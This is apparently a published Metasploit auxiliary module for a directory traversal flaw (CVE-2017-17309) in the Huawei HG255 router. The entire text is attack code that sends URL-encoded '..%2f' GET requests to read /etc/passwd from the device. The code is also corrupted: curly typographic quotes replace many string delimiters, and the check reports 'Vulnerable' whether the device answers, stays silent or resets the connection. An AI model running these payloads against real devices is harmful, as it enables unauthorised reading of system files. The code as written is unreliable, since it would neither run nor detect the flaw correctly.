Huawei HG255 Directory Traversal

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
#  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize  
super(  
'Name' => 'Huawei HG255 Directory Traversal',  
‘Description’ => ‘Server Directory Traversal at Huawei HG255 by malicious GET requests’,  
‘Author’ => ‘Ismail Tasdelen’,  
‘License’ => MSF_LICENSE,  
‘References’ =>  
[  
['CVE', '2017-17309' ],  
['URL', 'https://www.huawei.com/en/psirt/security-notices/huawei-sn-20170911-01-hg255s-en']  
]  
)  
register_options(  
[  
Opt::RPORT(80)  
], self.class  
)  
end  
  
def run  
urllist=[  
‘/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,  
‘/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,  
‘/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,  
‘/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’]  
  
urllist.each do |url|  
begin  
res = send_request_raw(  
{  
‘method’=> ‘GET’,  
‘uri’=> url  
})  
  
if res  
print_good(“Vulnerable! for #{url}”)  
else  
print_status(“Vulnerable(no response) detected for #{url}”)  
end  
rescue Errno::ECONNRESET  
print_status(“Vulnerable(rst) detected for #{url}”)  
rescue Exception  
print_error(“Connection failed.”)  
end  
end  
end  
`